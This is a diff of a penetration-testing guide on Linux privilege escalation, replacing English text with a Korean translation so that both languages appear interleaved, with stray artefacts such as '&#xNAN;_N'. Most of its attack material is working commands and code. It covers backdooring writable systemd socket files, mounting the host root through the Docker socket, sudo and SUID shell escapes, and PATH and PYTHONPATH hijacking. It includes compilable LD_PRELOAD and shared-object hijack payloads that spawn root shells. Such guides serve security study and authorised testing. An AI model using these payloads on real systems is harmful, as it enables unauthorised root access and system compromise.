알아보세요.** 이 파일 내에서 여러 흥미로운 매개변수를 구성할 수 있습니다: -**Learn more about sockets with `man systemd.socket`.** Inside this file, several interesting parameters can be configured: +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: 이 옵션들은 다르지만, **소켓을 수신할 위치를 나타내기 위해 요약됩니다** (AF_UNIX 소켓 파일의 경로, 수신할 IPv4/6 및/또는 포트 번호 등) +- `Accept`: 부울 인수를 받습니다. **true**인 경우, **각 수신 연결에 대해 서비스 인스턴스가 생성**되며, 연결 소켓만 전달됩니다. **false**인 경우, 모든 수신 소켓이 **시작된 서비스 유닛**에 전달되며, 모든 연결에 대해 하나의 서비스 유닛만 생성됩니다. 이 값은 단일 서비스 유닛이 모든 수신 트래픽을 무조건 처리하는 데이터그램 소켓 및 FIFO에 대해 무시됩니다. **기본값은 false**입니다. 성능상의 이유로, `Accept=no`에 적합한 방식으로만 새로운 데몬을 작성하는 것이 권장됩니다. +- `ExecStartPre`, `ExecStartPost`: 수신 **소켓**/FIFO가 **생성**되고 바인딩되기 **전** 또는 **후**에 **실행되는** 하나 이상의 명령줄을 받습니다. 명령줄의 첫 번째 토큰은 절대 파일 이름이어야 하며, 그 다음에 프로세스에 대한 인수가 옵니다. +- `ExecStopPre`, `ExecStopPost`: 수신 **소켓**/FIFO가 **닫히고** 제거되기 **전** 또는 **후**에 **실행되는** 추가 **명령**입니다. +- `Service`: **수신 트래픽**에 대해 **활성화할** **서비스** 유닛 이름을 지정합니다. 이 설정은 Accept=no인 소켓에 대해서만 허용됩니다. 기본값은 소켓과 동일한 이름을 가진 서비스입니다(접미사가 대체됨). 대부분의 경우, 이 옵션을 사용할 필요는 없습니다. -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: These options are different but a summary is used to **indicate where it is going to listen** to the socket (the path of the AF_UNIX socket file, the IPv4/6 and/or port number to listen, etc.) -- `Accept`: Takes a boolean argument. If **true**, a **service instance is spawned for each incoming connection** and only the connection socket is passed to it. If **false**, all listening sockets themselves are **passed to the started service unit**, and only one service unit is spawned for all connections. This value is ignored for datagram sockets and FIFOs where a single service unit unconditionally handles all incoming traffic. **Defaults to false**. For performance reasons, it is recommended to write new daemons only in a way that is suitable for `Accept=no`. -- `ExecStartPre`, `ExecStartPost`: Takes one or more command lines, which are **executed before** or **after** the listening **sockets**/FIFOs are **created** and bound, respectively. The first token of the command line must be an absolute filename, then followed by arguments for the process. -- `ExecStopPre`, `ExecStopPost`: Additional **commands** that are **executed before** or **after** the listening **sockets**/FIFOs are **closed** and removed, respectively. -- `Service`: Specifies the **service** unit name **to activate** on **incoming traffic**. This setting is only allowed for sockets with Accept=no. It defaults to the service that bears the same name as the socket (with the suffix replaced). In most cases, it should not be necessary to use this option. +### 쓰기 가능한 .socket 파일 -### Writable .socket files +**쓰기 가능한** `.socket` 파일을 찾으면 `[Socket]` 섹션의 시작 부분에 `ExecStartPre=/home/kali/sys/backdoor`와 같은 내용을 **추가**할 수 있으며, 그러면 소켓이 생성되기 전에 백도어가 실행됩니다. 따라서 **기계가 재부팅될 때까지 기다려야 할 것입니다.**\ +&#xNAN;_N 시스템이 해당 소켓 파일 구성을 사용해야 백도어가 실행됩니다._ -If you find a **writable** `.socket` file you can **add** at the beginning of the `[Socket]` section something like: `ExecStartPre=/home/kali/sys/backdoor` and the backdoor will be executed before the socket is created. Therefore, you will **probably need to wait until the machine is rebooted.**\ -&#xNAN;_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +### 쓰기 가능한 소켓 -### Writable sockets - -If you **identify any writable socket** (_now we are talking about Unix Sockets and not about the config `.socket` files_), then **you can communicate** with that socket and maybe exploit a vulnerability. - -### Enumerate Unix Sockets +**쓰기 가능한 소켓을 식별하면** (_지금은 유닉스 소켓에 대해 이야기하고 있으며 구성 `.socket` 파일에 대해 이야기하는 것이 아닙니다_), **해당 소켓과 통신할 수 있으며** 아마도 취약점을 악용할 수 있습니다. +### 유닉스 소켓 열거하기 ```bash netstat -a -p --unix ``` - -### Raw connection - +### 원시 연결 ```bash #apt-get install netcat-openbsd nc -U /tmp/socket #Connect to UNIX-domain stream socket @@ -560,93 +473,88 @@ nc -uU /tmp/socket #Connect to UNIX-domain datagram socket #apt-get install socat socat - UNIX-CLIENT:/dev/socket #connect to UNIX-domain socket, irrespective of its type ``` - -**Exploitation example:** +**악용 예시:** {{#ref}} socket-command-injection.md {{#endref}} -### HTTP sockets - -Note that there may be some **sockets listening for HTTP** requests (_I'm not talking about .socket files but the files acting as unix sockets_). You can check this with: +### HTTP 소켓 +HTTP 요청을 수신 대기하는 **소켓이 있을 수 있습니다** (_저는 .socket 파일이 아니라 유닉스 소켓으로 작동하는 파일에 대해 이야기하고 있습니다_). 다음을 통해 확인할 수 있습니다: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` +소켓이 **HTTP** 요청으로 응답하면, 해당 소켓과 **통신**할 수 있으며, 아마도 **취약점을 악용**할 수 있습니다. -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +### 쓰기 가능한 Docker 소켓 -### Writable Docker Socket +Docker 소켓은 일반적으로 `/var/run/docker.sock`에 위치하며, 보안이 필요한 중요한 파일입니다. 기본적으로 `root` 사용자와 `docker` 그룹의 구성원이 쓸 수 있습니다. 이 소켓에 대한 쓰기 권한을 가지면 권한 상승이 발생할 수 있습니다. 다음은 이를 수행하는 방법과 Docker CLI를 사용할 수 없는 경우의 대체 방법에 대한 설명입니다. -The Docker socket, often found at `/var/run/docker.sock`, is a critical file that should be secured. By default, it's writable by the `root` user and members of the `docker` group. Possessing write access to this socket can lead to privilege escalation. Here's a breakdown of how this can be done and alternative methods if the Docker CLI isn't available. - -#### **Privilege Escalation with Docker CLI** - -If you have write access to the Docker socket, you can escalate privileges using the following commands: +#### **Docker CLI를 통한 권한 상승** +Docker 소켓에 대한 쓰기 권한이 있는 경우, 다음 명령어를 사용하여 권한을 상승시킬 수 있습니다: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` +이 명령어는 호스트의 파일 시스템에 대한 루트 수준 액세스를 가진 컨테이너를 실행할 수 있게 해줍니다. -These commands allow you to run a container with root-level access to the host's file system. +#### **Docker API 직접 사용하기** -#### **Using Docker API Directly** +Docker CLI를 사용할 수 없는 경우에도 Docker 소켓은 Docker API와 `curl` 명령어를 사용하여 조작할 수 있습니다. -In cases where the Docker CLI isn't available, the Docker socket can still be manipulated using the Docker API and `curl` commands. +1. **Docker 이미지 목록:** 사용 가능한 이미지 목록을 가져옵니다. -1. **List Docker Images:** Retrieve the list of available images. +```bash +curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json +``` - ```bash - curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json - ``` +2. **컨테이너 생성:** 호스트 시스템의 루트 디렉토리를 마운트하는 컨테이너를 생성하기 위한 요청을 보냅니다. -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +```bash +curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create +``` - ```bash - curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create - ``` +새로 생성된 컨테이너를 시작합니다: - Start the newly created container: +```bash +curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start +``` - ```bash - curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start - ``` +3. **컨테이너에 연결:** `socat`을 사용하여 컨테이너에 연결을 설정하고, 그 안에서 명령을 실행할 수 있게 합니다. -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +```bash +socat - UNIX-CONNECT:/var/run/docker.sock +POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 +Host: +Connection: Upgrade +Upgrade: tcp +``` - ```bash - socat - UNIX-CONNECT:/var/run/docker.sock - POST /containers//attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1 - Host: - Connection: Upgrade - Upgrade: tcp - ``` +`socat` 연결을 설정한 후, 호스트의 파일 시스템에 대한 루트 수준 액세스를 가진 상태에서 컨테이너 내에서 직접 명령을 실행할 수 있습니다. -After setting up the `socat` connection, you can execute commands directly in the container with root-level access to the host's filesystem. +### 기타 -### Others +**`docker` 그룹에 속해** 있어 docker 소켓에 대한 쓰기 권한이 있는 경우, [**권한 상승을 위한 더 많은 방법**](interesting-groups-linux-pe/#docker-group)이 있습니다. [**docker API가 포트에서 수신 대기 중인 경우** 이를 타협할 수 있습니다](../../network-services-pentesting/2375-pentesting-docker.md#compromising). -Note that if you have write permissions over the docker socket because you are **inside the group `docker`** you have [**more ways to escalate privileges**](interesting-groups-linux-pe/#docker-group). If the [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). - -Check **more ways to break out from docker or abuse it to escalate privileges** in: +다음에서 **docker에서 탈출하거나 권한 상승을 위해 악용할 수 있는 더 많은 방법**을 확인하세요: {{#ref}} docker-security/ {{#endref}} -## Containerd (ctr) privilege escalation +## Containerd (ctr) 권한 상승 -If you find that you can use the **`ctr`** command read the following page as **you may be able to abuse it to escalate privileges**: +**`ctr`** 명령을 사용할 수 있는 경우, **권한 상승을 위해 악용할 수 있을 수 있으므로** 다음 페이지를 읽어보세요: {{#ref}} containerd-ctr-privilege-escalation.md {{#endref}} -## **RunC** privilege escalation +## **RunC** 권한 상승 -If you find that you can use the **`runc`** command read the following page as **you may be able to abuse it to escalate privileges**: +**`runc`** 명령을 사용할 수 있는 경우, **권한 상승을 위해 악용할 수 있을 수 있으므로** 다음 페이지를 읽어보세요: {{#ref}} runc-privilege-escalation.md @@ -654,37 +562,34 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus is a sophisticated **inter-Process Communication (IPC) system** that enables applications to efficiently interact and share data. Designed with the modern Linux system in mind, it offers a robust framework for different forms of application communication. +D-Bus는 애플리케이션이 효율적으로 상호 작용하고 데이터를 공유할 수 있게 해주는 정교한 **프로세스 간 통신(IPC) 시스템**입니다. 현대 Linux 시스템을 염두에 두고 설계된 D-Bus는 다양한 형태의 애플리케이션 통신을 위한 강력한 프레임워크를 제공합니다. -The system is versatile, supporting basic IPC that enhances data exchange between processes, reminiscent of **enhanced UNIX domain sockets**. Moreover, it aids in broadcasting events or signals, fostering seamless integration among system components. For instance, a signal from a Bluetooth daemon about an incoming call can prompt a music player to mute, enhancing user experience. Additionally, D-Bus supports a remote object system, simplifying service requests and method invocations between applications, streamlining processes that were traditionally complex. +이 시스템은 기본 IPC를 지원하여 프로세스 간 데이터 교환을 향상시키며, **향상된 UNIX 도메인 소켓**을 연상시킵니다. 또한 이벤트나 신호를 방송하는 데 도움을 주어 시스템 구성 요소 간의 원활한 통합을 촉진합니다. 예를 들어, Bluetooth 데몬에서 수신 전화에 대한 신호가 음악 플레이어를 음소거하도록 할 수 있어 사용자 경험을 향상시킵니다. 추가로, D-Bus는 원격 객체 시스템을 지원하여 애플리케이션 간의 서비스 요청 및 메서드 호출을 간소화하여 전통적으로 복잡했던 프로세스를 간소화합니다. -D-Bus operates on an **allow/deny model**, managing message permissions (method calls, signal emissions, etc.) based on the cumulative effect of matching policy rules. These policies specify interactions with the bus, potentially allowing for privilege escalation through the exploitation of these permissions. +D-Bus는 **허용/거부 모델**에 따라 작동하며, 정책 규칙의 누적 효과에 따라 메시지 권한(메서드 호출, 신호 전송 등)을 관리합니다. 이러한 정책은 버스와의 상호 작용을 지정하며, 이러한 권한을 악용하여 권한 상승을 허용할 수 있습니다. -An example of such a policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` is provided, detailing permissions for the root user to own, send to, and receive messages from `fi.w1.wpa_supplicant1`. - -Policies without a specified user or group apply universally, while "default" context policies apply to all not covered by other specific policies. +`/etc/dbus-1/system.d/wpa_supplicant.conf`에 있는 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`으로부터 메시지를 소유하고, 전송하고, 수신할 수 있는 권한을 상세히 설명합니다. +지정된 사용자나 그룹이 없는 정책은 보편적으로 적용되며, "기본" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 경우에 적용됩니다. ```xml - - - - + + + + ``` - -**Learn how to enumerate and exploit a D-Bus communication here:** +**D-Bus 통신을 열거하고 악용하는 방법을 여기에서 배우십시오:** {{#ref}} d-bus-enumeration-and-command-injection-privilege-escalation.md {{#endref}} -## **Network** +## **네트워크** -It's always interesting to enumerate the network and figure out the position of the machine. - -### Generic enumeration +네트워크를 열거하고 기계의 위치를 파악하는 것은 항상 흥미롭습니다. +### 일반적인 열거 ```bash #Hostname, hosts and DNS cat /etc/hostname /etc/hosts /etc/resolv.conf @@ -707,30 +612,24 @@ cat /etc/networks #Files used by network services lsof -i ``` +### 열린 포트 -### Open ports - -Always check network services running on the machine that you weren't able to interact with before accessing it: - +접근하기 전에 상호작용할 수 없었던 머신에서 실행 중인 네트워크 서비스를 항상 확인하세요: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` - ### Sniffing -Check if you can sniff traffic. If you can, you could be able to grab some credentials. - +트래픽을 스니핑할 수 있는지 확인하세요. 가능하다면, 자격 증명을 잡을 수 있을 것입니다. ``` timeout 1 tcpdump ``` +## 사용자 -## Users - -### Generic Enumeration - -Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** +### 일반 열거 +**당신**이 누구인지, 어떤 **권한**이 있는지, 시스템에 어떤 **사용자**가 있는지, 어떤 사용자가 **로그인**할 수 있는지, 그리고 어떤 사용자가 **루트 권한**을 가지고 있는지 확인하십시오: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -752,15 +651,14 @@ for i in $(cut -d":" -f1 /etc/passwd 2>/dev/null);do id $i;done 2>/dev/null | so #Current user PGP keys gpg --list-keys 2>/dev/null ``` - ### Big UID -Some Linux versions were affected by a bug that allows users with **UID > INT_MAX** to escalate privileges. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ +일부 Linux 버전은 **UID > INT_MAX**를 가진 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 더 많은 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 및 [here](https://twitter.com/paragonsec/status/1071152249529884674).\ **Exploit it** using: **`systemd-run -t /bin/bash`** ### Groups -Check if you are a **member of some group** that could grant you root privileges: +루트 권한을 부여할 수 있는 **그룹의 구성원인지 확인**하세요: {{#ref}} interesting-groups-linux-pe/ @@ -768,51 +666,44 @@ interesting-groups-linux-pe/ ### Clipboard -Check if anything interesting is located inside the clipboard (if possible) - +클립보드에 흥미로운 내용이 있는지 확인하세요 (가능한 경우) ```bash if [ `which xclip 2>/dev/null` ]; then - echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` - echo "Highlighted text: "`xclip -o 2>/dev/null` - elif [ `which xsel 2>/dev/null` ]; then - echo "Clipboard: "`xsel -ob 2>/dev/null` - echo "Highlighted text: "`xsel -o 2>/dev/null` - else echo "Not found xsel and xclip" - fi +echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` +echo "Highlighted text: "`xclip -o 2>/dev/null` +elif [ `which xsel 2>/dev/null` ]; then +echo "Clipboard: "`xsel -ob 2>/dev/null` +echo "Highlighted text: "`xsel -o 2>/dev/null` +else echo "Not found xsel and xclip" +fi ``` - -### Password Policy - +### 비밀번호 정책 ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` +### 알려진 비밀번호 -### Known passwords - -If you **know any password** of the environment **try to login as each user** using the password. +환경의 **비밀번호를 알고 있다면** 각 사용자로 **로그인해 보세요**. ### Su Brute -If don't mind about doing a lot of noise and `su` and `timeout` binaries are present on the computer, you can try to brute-force user using [su-bruteforce](https://github.com/carlospolop/su-bruteforce).\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) with `-a` parameter also try to brute-force users. +많은 소음을 내는 것에 신경 쓰지 않고 `su`와 `timeout` 바이너리가 컴퓨터에 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용하여 사용자를 무작위로 공격해 볼 수 있습니다.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)도 `-a` 매개변수를 사용하여 사용자 무작위 공격을 시도합니다. -## Writable PATH abuses +## 쓰기 가능한 PATH 남용 ### $PATH -If you find that you can **write inside some folder of the $PATH** you may be able to escalate privileges by **creating a backdoor inside the writable folder** with the name of some command that is going to be executed by a different user (root ideally) and that is **not loaded from a folder that is located previous** to your writable folder in $PATH. +$PATH의 **어떤 폴더에 쓸 수 있는 경우**에는 **쓰기 가능한 폴더에 백도어를 생성**하여 다른 사용자(이상적으로는 root)에 의해 실행될 명령의 이름을 사용할 수 있습니다. 이 명령은 $PATH에서 귀하의 쓰기 가능한 폴더보다 이전에 위치한 폴더에서 **로드되지 않아야** 합니다. -### SUDO and SUID - -You could be allowed to execute some command using sudo or they could have the suid bit. Check it using: +### SUDO 및 SUID +sudo를 사용하여 일부 명령을 실행할 수 있도록 허용되거나 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용하여 확인하세요: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` - -Some **unexpected commands allow you to read and/or write files or even execute a command.** For example: - +일부 **예상치 못한 명령은 파일을 읽거나/또는 쓸 수 있거나 심지어 명령을 실행할 수 있게 해줍니다.** 예를 들어: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -821,43 +712,33 @@ sudo tar c a.tar -I ./runme.sh a ftp>!/bin/sh less>! ``` - ### NOPASSWD -Sudo configuration might allow a user to execute some command with another user's privileges without knowing the password. - +Sudo 구성은 사용자가 비밀번호를 모르고 다른 사용자의 권한으로 일부 명령을 실행할 수 있도록 허용할 수 있습니다. ``` $ sudo -l User demo may run the following commands on crashlab: - (root) NOPASSWD: /usr/bin/vim +(root) NOPASSWD: /usr/bin/vim ``` - -In this example the user `demo` can run `vim` as `root`, it is now trivial to get a shell by adding an ssh key into the root directory or by calling `sh`. - +이 예에서 사용자 `demo`는 `root`로 `vim`을 실행할 수 있으며, 이제 루트 디렉토리에 ssh 키를 추가하거나 `sh`를 호출하여 셸을 얻는 것이 간단합니다. ``` sudo vim -c '!sh' ``` - ### SETENV -This directive allows the user to **set an environment variable** while executing something: - +이 지시어는 사용자가 무언가를 실행하는 동안 **환경 변수를 설정**할 수 있게 해줍니다: ```bash $ sudo -l User waldo may run the following commands on admirer: - (ALL) SETENV: /opt/scripts/admin_tasks.sh +(ALL) SETENV: /opt/scripts/admin_tasks.sh ``` - -This example, **based on HTB machine Admirer**, was **vulnerable** to **PYTHONPATH hijacking** to load an arbitrary python library while executing the script as root: - +이 예제는 **HTB 머신 Admirer**를 기반으로 하며, 스크립트를 루트로 실행하는 동안 임의의 파이썬 라이브러리를 로드하기 위해 **PYTHONPATH 하이재킹**에 **취약**했습니다: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` +### Sudo 실행 우회 경로 -### Sudo execution bypassing paths - -**Jump** to read other files or use **symlinks**. For example in sudoers file: _hacker10 ALL= (root) /bin/less /var/log/\*_ - +**다른 파일로 점프**하거나 **심볼릭 링크**를 사용합니다. 예를 들어 sudoers 파일에서: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -867,89 +748,73 @@ less>:e /etc/shadow #Jump to read other files using privileged less ln /etc/shadow /var/log/new sudo less /var/log/new #Use symlinks to read any file ``` - -If a **wildcard** is used (\*), it is even easier: - +**와일드카드** (\*)가 사용되면, 훨씬 더 쉽습니다: ```bash sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/something /etc/shadow #Red 2 files ``` +**대응책**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -**Countermeasures**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) - -### Sudo command/SUID binary without command path - -If the **sudo permission** is given to a single command **without specifying the path**: _hacker10 ALL= (root) less_ you can exploit it by changing the PATH variable +### Sudo 명령/SUID 바이너리 경로 없이 +**sudo 권한**이 단일 명령에 **경로를 지정하지 않고** 부여된 경우: _hacker10 ALL= (root) less_ PATH 변수를 변경하여 이를 악용할 수 있습니다. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" sudo less ``` +이 기술은 **suid** 바이너리가 **경로를 지정하지 않고 다른 명령을 실행할 때도 사용할 수 있습니다 (항상 이상한 SUID 바이너리의 내용을 _**strings**_로 확인하세요)**. -This technique can also be used if a **suid** binary **executes another command without specifying the path to it (always check with** _**strings**_ **the content of a weird SUID binary)**. +[실행할 페이로드 예시.](payloads-to-execute.md) -[Payload examples to execute.](payloads-to-execute.md) +### 명령 경로가 있는 SUID 바이너리 -### SUID binary with command path - -If the **suid** binary **executes another command specifying the path**, then, you can try to **export a function** named as the command that the suid file is calling. - -For example, if a suid binary calls _**/usr/sbin/service apache2 start**_ you have to try to create the function and export it: +만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령과 같은 이름의 **함수를 내보내기** 위해 시도할 수 있습니다. +예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출한다면, 함수를 생성하고 내보내기를 시도해야 합니다: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` - -Then, when you call the suid binary, this function will be executed +그런 다음, suid 바이너리를 호출하면 이 함수가 실행됩니다. ### LD_PRELOAD & **LD_LIBRARY_PATH** -The **LD_PRELOAD** environment variable is used to specify one or more shared libraries (.so files) to be loaded by the loader before all others, including the standard C library (`libc.so`). This process is known as preloading a library. +**LD_PRELOAD** 환경 변수는 로더가 모든 다른 라이브러리, 표준 C 라이브러리(`libc.so`)를 포함하여 로드하기 전에 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 프로세스를 라이브러리 프리로딩이라고 합니다. -However, to maintain system security and prevent this feature from being exploited, particularly with **suid/sgid** executables, the system enforces certain conditions: +그러나 시스템 보안을 유지하고 이 기능이 악용되는 것을 방지하기 위해, 특히 **suid/sgid** 실행 파일과 관련하여 시스템은 특정 조건을 강제합니다: -- The loader disregards **LD_PRELOAD** for executables where the real user ID (_ruid_) does not match the effective user ID (_euid_). -- For executables with suid/sgid, only libraries in standard paths that are also suid/sgid are preloaded. - -Privilege escalation can occur if you have the ability to execute commands with `sudo` and the output of `sudo -l` includes the statement **env_keep+=LD_PRELOAD**. This configuration allows the **LD_PRELOAD** environment variable to persist and be recognized even when commands are run with `sudo`, potentially leading to the execution of arbitrary code with elevated privileges. +- 로더는 실제 사용자 ID(_ruid_)가 유효 사용자 ID(_euid_)와 일치하지 않는 실행 파일에 대해 **LD_PRELOAD**를 무시합니다. +- suid/sgid가 있는 실행 파일의 경우, suid/sgid인 표준 경로의 라이브러리만 프리로드됩니다. +권한 상승은 `sudo`로 명령을 실행할 수 있는 능력이 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문이 포함된 경우 발생할 수 있습니다. 이 구성은 **LD_PRELOAD** 환경 변수가 지속되고 `sudo`로 명령을 실행할 때 인식되도록 하여, 잠재적으로 상승된 권한으로 임의의 코드가 실행될 수 있게 합니다. ``` Defaults env_keep += LD_PRELOAD ``` - -Save as **/tmp/pe.c** - +**/tmp/pe.c**로 저장하세요. ```c #include #include #include void _init() { - unsetenv("LD_PRELOAD"); - setgid(0); - setuid(0); - system("/bin/bash"); +unsetenv("LD_PRELOAD"); +setgid(0); +setuid(0); +system("/bin/bash"); } ``` - -Then **compile it** using: - +그런 다음 **컴파일하세요**: ```bash cd /tmp gcc -fPIC -shared -o pe.so pe.c -nostartfiles ``` - -Finally, **escalate privileges** running - +마지막으로, **권한 상승** 실행 ```bash sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo ``` - > [!CAUTION] -> A similar privesc can be abused if the attacker controls the **LD_LIBRARY_PATH** env variable because he controls the path where libraries are going to be searched. - +> 공격자가 **LD_LIBRARY_PATH** 환경 변수를 제어하는 경우 유사한 권한 상승이 악용될 수 있습니다. 왜냐하면 공격자가 라이브러리를 검색할 경로를 제어하기 때문입니다. ```c #include #include @@ -957,9 +822,9 @@ sudo LD_PRELOAD=./pe.so #Use any command you can run with sudo static void hijack() __attribute__((constructor)); void hijack() { - unsetenv("LD_LIBRARY_PATH"); - setresuid(0,0,0); - system("/bin/bash -p"); +unsetenv("LD_LIBRARY_PATH"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` @@ -969,19 +834,15 @@ cd /tmp gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c sudo LD_LIBRARY_PATH=/tmp ``` +### SUID 바이너리 – .so 주입 -### SUID Binary – .so injection - -When encountering a binary with **SUID** permissions that seems unusual, it's a good practice to verify if it's loading **.so** files properly. This can be checked by running the following command: - +비정상적으로 보이는 **SUID** 권한을 가진 바이너리를 발견했을 때, **.so** 파일을 제대로 로드하는지 확인하는 것이 좋은 방법입니다. 다음 명령어를 실행하여 확인할 수 있습니다: ```bash strace 2>&1 | grep -i -E "open|access|no such file" ``` +예를 들어, _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_와 같은 오류가 발생하면 취약점이 존재할 가능성을 나타냅니다. -For instance, encountering an error like _"open(“/path/to/.config/libcalc.so”, O_RDONLY) = -1 ENOENT (No such file or directory)"_ suggests a potential for exploitation. - -To exploit this, one would proceed by creating a C file, say _"/path/to/.config/libcalc.c"_, containing the following code: - +이를 이용하기 위해, _"/path/to/.config/libcalc.c"_라는 C 파일을 생성하고 다음 코드를 포함시킵니다: ```c #include #include @@ -989,22 +850,18 @@ To exploit this, one would proceed by creating a C file, say _"/path/to/.config/ static void inject() __attribute__((constructor)); void inject(){ - system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); +system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p"); } ``` +이 코드는 컴파일되고 실행되면 파일 권한을 조작하고 상승된 권한으로 셸을 실행하여 권한을 상승시키는 것을 목표로 합니다. -This code, once compiled and executed, aims to elevate privileges by manipulating file permissions and executing a shell with elevated privileges. - -Compile the above C file into a shared object (.so) file with: - +위의 C 파일을 공유 객체(.so) 파일로 컴파일하려면: ```bash gcc -shared -o /path/to/.config/libcalc.so -fPIC /path/to/.config/libcalc.c ``` +마지막으로, 영향을 받은 SUID 바이너리를 실행하면 익스플로잇이 트리거되어 시스템 손상이 발생할 수 있습니다. -Finally, running the affected SUID binary should trigger the exploit, allowing for potential system compromise. - -## Shared Object Hijacking - +## 공유 객체 하이재킹 ```bash # Lets find a SUID using a non-standard library ldd some_suid @@ -1014,9 +871,7 @@ something.so => /lib/x86_64-linux-gnu/something.so readelf -d payroll | grep PATH 0x000000000000001d (RUNPATH) Library runpath: [/development] ``` - -Now that we have found a SUID binary loading a library from a folder where we can write, lets create the library in that folder with the necessary name: - +이제 우리가 쓸 수 있는 폴더에서 라이브러리를 로드하는 SUID 바이너리를 찾았으므로, 해당 폴더에 필요한 이름으로 라이브러리를 생성합시다: ```c //gcc src.c -fPIC -shared -o /development/libshared.so #include @@ -1025,24 +880,21 @@ Now that we have found a SUID binary loading a library from a folder where we ca static void hijack() __attribute__((constructor)); void hijack() { - setresuid(0,0,0); - system("/bin/bash -p"); +setresuid(0,0,0); +system("/bin/bash -p"); } ``` - -If you get an error such as - +오류가 발생하면 다음과 같은 메시지가 표시됩니다. ```shell-session ./suid_bin: symbol lookup error: ./suid_bin: undefined symbol: a_function_name ``` - -that means that the library you have generated need to have a function called `a_function_name`. +그것은 당신이 생성한 라이브러리에 `a_function_name`이라는 함수가 있어야 함을 의미합니다. ### GTFOBins -[**GTFOBins**](https://gtfobins.github.io) is a curated list of Unix binaries that can be exploited by an attacker to bypass local security restrictions. [**GTFOArgs**](https://gtfoargs.github.io/) is the same but for cases where you can **only inject arguments** in a command. +[**GTFOBins**](https://gtfobins.github.io)는 공격자가 로컬 보안 제한을 우회하기 위해 악용할 수 있는 Unix 바이너리의 선별된 목록입니다. [**GTFOArgs**](https://gtfoargs.github.io/)는 명령에 **인수만 주입할 수 있는** 경우에 대한 동일한 목록입니다. -The project collects legitimate functions of Unix binaries that 